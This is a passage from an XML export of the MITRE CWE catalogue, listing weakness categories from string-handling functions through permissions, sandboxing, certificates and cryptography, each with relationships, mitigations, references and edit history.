               <CAPEC_ID>267</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>64</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>72</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>78</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>79</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>80</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="251" Name="Often Misused: String Management" Status="Incomplete">
			      <Description>
				        <Description_Summary>Functions that manipulate strings encourage buffer
					overflows.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>133</Relationship_Target_ID>
					          <!--String Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Windows provides the _mbs family of functions to perform various
						operations on multibyte strings. When these functions are passed a malformed
						multibyte string, such as a string containing a valid leading byte followed
						by a single null byte, they can read or write past the end of the string
						buffer causing a buffer overflow. The following functions all pose a risk of
						buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnextc _mbsnset
						_mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbslen</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Often Misused: Strings</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>Definition: A weakness where code path has:</Text>
					          <Block>
						            <Text>1. end statement that passes the string item to a string
							function</Text>
						            <Text>2. start statement that malformed the string item</Text>
					          </Block>
					          <Text>Where "malformed" is defined through the following scenarios:</Text>
					          <Block>
						            <Text>1. changed to unexpected value</Text>
						            <Text>2. incorrect syntactical structure</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="254" Name="Security Features" Status="Incomplete">
			      <Description>
				        <Description_Summary>Software security is not security software. Here we're
					concerned with topics like authentication, access control, confidentiality,
					cryptography, and privilege management.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
			      </Relationships>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Security Features</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="255" Name="Credentials Management" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the management of
					credentials.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="264" Name="Permissions, Privileges, and Access Controls" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the management of
					permissions, privileges, and other security features that are used to perform
					access control.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-48">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Follow the principle of least privilege when assigning access rights
							to entities in a software system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 7, "How Tokens, Privileges, SIDs, ACLs, and Processes
						Relate" Page 218</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Permissions, Privileges, and ACLs</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>17</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>35</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>5</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>58</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>69</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>76</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="265" Name="Privilege / Sandbox Issues" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category occur with improper enforcement of
					sandbox environments, or the improper handling, assignment, or management of
					privileges.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>264</Relationship_Target_ID>
					          <!--Permissions, Privileges, and Access Controls-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can strongly overlap authorization errors.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-48">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Follow the principle of least privilege when assigning access rights
							to entities in a software system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>A sandbox could be regarded as an explicitly defined sphere of control, in
						that the sandbox only defines a limited set of behaviors, which can only
						access a limited set of resources.</Text>
				        </Theoretical_Note>
				        <Theoretical_Note>
					          <Text>It could be argued that any privilege problem occurs within the context of
						a sandbox.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Many of the following concepts require deeper study. Most privilege
						problems are not classified at such a low level of detail, and terminology
						is very sparse. Certain classes of software, such as web browsers and
						software bug trackers, provide a rich set of examples for further research.
						Operating systems have matured to the point that these kinds of weaknesses
						are rare, but finer-grained models for privileges, capabilities, or roles
						might introduce subtler issues.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Privilege / sandbox errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Relationship_Notes,
						Taxonomy_Mappings, Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Research_Gaps,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="275" Name="Permission Issues" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper assignment
					or handling of permissions.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>264</Relationship_Target_ID>
					          <!--Permissions, Privileges, and Access Controls-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
			      </Relationships>
			      <Functional_Areas>
				        <Functional_Area>File processing, non-specific.</Functional_Area>
			      </Functional_Areas>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 17: Failure to Protect Stored Data." Page
						253</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Permission errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Access Control</Mapped_Node_Name>
					          <Mapped_Node_ID>A2</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Configuration Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>17</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>35</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="295" Name="Certificate Issues" Status="Incomplete">
			      <Description>
				        <Description_Summary>Certificates should be carefully managed and checked to assure
					that data are encrypted with the intended owner's public
					key.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>A certificate is a token that associates an identity (principle) to a
						cryptographic key. Certificates can be used to check if a public key belongs
						to the assumed owner.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <References>
				        <Reference>
					          <Reference_Author>M. Bishop</Reference_Author>
					          <Reference_Title>Computer Security: Art and Science</Reference_Title>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>2003</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Configuration Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>459</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Background_Details,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="3" Name="Technology-specific Environment Issues" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are typically introduced during
					unexpected environmental conditions in particular
					technologies.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="310" Name="Cryptographic Issues" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the use of
					cryptography.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Some of these can be resultant.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This category is incomplete and needs refinement, as there is good
						documentation of cryptographic flaws and related attacks.</Text>
				        </Maintenance_Note>
				        <Maintenance_Note>
					          <Text>Relationships between CWE-310, CWE-326, and CWE-327 and all their children
						need to be reviewed and reorganized.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Functional_Areas>
				        <Functional_Area>Cryptography</Functional_Area>
			      </Functional_Areas>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 8, "Cryptographic Foibles" Page
						259</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Cryptographic Issues</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationship_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="320" Name="Key Management Errors" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to errors in the
					management of cryptographic keys.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>310</Relationship_Target_ID>
					          <!--Cryptographic Issues-->
				</Relationship>
